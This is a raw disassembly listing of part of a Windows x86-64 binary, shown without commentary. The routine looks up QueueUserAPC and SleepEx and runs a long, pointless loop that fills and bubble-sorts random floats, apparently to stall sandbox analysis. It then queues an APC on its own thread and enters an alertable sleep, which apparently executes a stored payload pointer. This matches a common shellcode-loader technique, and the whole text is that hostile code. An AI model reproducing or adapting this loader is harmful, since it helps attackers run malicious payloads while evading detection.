cmp dword [rbp + 0x6cc], 0x398
jle 0x140002902
add dword [rbp + 0x6dc], 1
cmp dword [rbp + 0x6dc], 0x44c
jle 0x140002860
mov rax, qword [rbp + 0x578]
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x6b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x6b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x558], rax
mov ecx, 0xe60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x6c8], 0
jmp 0x140002a5f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x6c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x6c8], 1
cmp dword [rbp + 0x6c8], 0x397
jle 0x1400029d6
mov dword [rbp + 0x6c8], 0
jmp 0x140002b8b
mov dword [rbp + 0x544], 0
jmp 0x140002b6d
mov eax, dword [rbp + 0x6c8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x544]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002b66
mov eax, dword [rbp + 0x544]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x540], xmm0
mov eax, dword [rbp + 0x6c8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rdx, rax
mov eax, dword [rbp + 0x544]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x544]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x550]
add rax, rdx
movss xmm0, dword [rbp + 0x540]
movss dword [rax], xmm0
add dword [rbp + 0x6c8], 1
mov eax, 0x397
sub eax, dword [rbp + 0x6c8]
cmp dword [rbp + 0x544], eax
jl 0x140002a8d
add dword [rbp + 0x6c8], 1
cmp dword [rbp + 0x6c8], 0x397
jle 0x140002a7e
mov rax, qword [rbp + 0x550]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x560]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x558]
mov edx, 1
mov ecx, 0xffffffff
call rax
movsd xmm0, qword [0x1400065c0]
movsd qword [rbp + 0x6c0], xmm0
movsd xmm0, qword [0x1400065c8]
movsd qword [rbp + 0x548], xmm0
jmp 0x140002c2e
movsd xmm0, qword [rbp + 0x548]
mov rax, qword [rbp + 0x6c0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ed0
movq rax, xmm0
mov qword [rbp + 0x6c0], rax
movsd xmm0, qword [0x1400065d0]
comisd xmm0, xmmword [rbp + 0x6c0]
ja 0x140002c05
mov eax, 0
movups xmm6, xmmword [rbp + 0x730]
add rsp, 0x7c0
pop rsi
pop rdi
pop rbp
ret